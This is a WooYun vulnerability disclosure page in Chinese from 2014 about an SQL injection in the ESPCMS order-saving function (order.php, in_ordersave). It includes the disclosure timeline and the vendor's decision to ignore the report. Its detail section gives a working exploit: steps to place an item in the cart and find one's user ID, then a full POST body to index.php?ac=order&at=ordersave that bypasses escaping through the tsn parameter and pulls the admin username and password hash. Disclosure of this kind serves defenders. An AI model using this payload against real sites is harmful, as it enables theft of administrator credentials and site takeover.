漏洞概要 关注数(12) 关注此漏洞
缺陷编号: WooYun-2014-76417
漏洞标题: espcms sql注入漏洞
相关厂商: 易思ESPCMS企业网站管理系统
漏洞作者: Noxxx
提交时间: 2014-09-18 15:29
公开时间: 2014-12-14 15:30
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-14: 细节向公众公开
简要描述:
刚刚看了 espcms的官网 发现2014-09-16 16:58:17更新了,下了份看下,发现这上面的几个漏洞完全没修复啊..上次提交了个漏洞只给了5rank..敢给多点么.这次和上次那个相似,怕你们只修复一处,这处也提交下。
详细说明:
在order.php in_ordersave中
365-367行附近
这个 $tsn 和 $did $ptitle 都是可控的变量 就是等于 $_POST[XXX]
看这个 $tsn 如果不是数组会怎么样?取值就会变成 $tsn{x}的方式
所以我们可以利用这个来达到绕过转义的限制 来达到注入的目的。
$cookiceprice = $this->fun->eccode(md5("$productmoney|$discount_productmoney"), 'ENCODE', db_pscode);
if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) {
进入流程需要上面的条件。uncartid 是购物车列表里面的。后面的几个验证也是的。
我们只需要在【产品展示】->找一个产品然后【我要购买】就可以加入购物车里面了。
然后点【下一步(结算)】记住总金额。
index.php?ac=order&at=ordersave
productmoney和discount_productmoney替换成产品的金额。
productmoney=15000&discount_productmoney=15000&tsn=\&userid=4&did[x]=1&amount=1&ptitle[x]=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#&email=xxx@**.**.**.**&bprice=1&countprice=1&opid=1&osid=1
uid换成自己的 uid怎么获得 提交订单的页面 右键查看源码 <input type="hidden" name="userid" value="4"/>
即可
漏洞证明:
修复方案:
版权声明:转载请注明来源 Noxxx@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-12-14 15:30
厂商回复:
漏洞Rank:15 (WooYun评价)
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值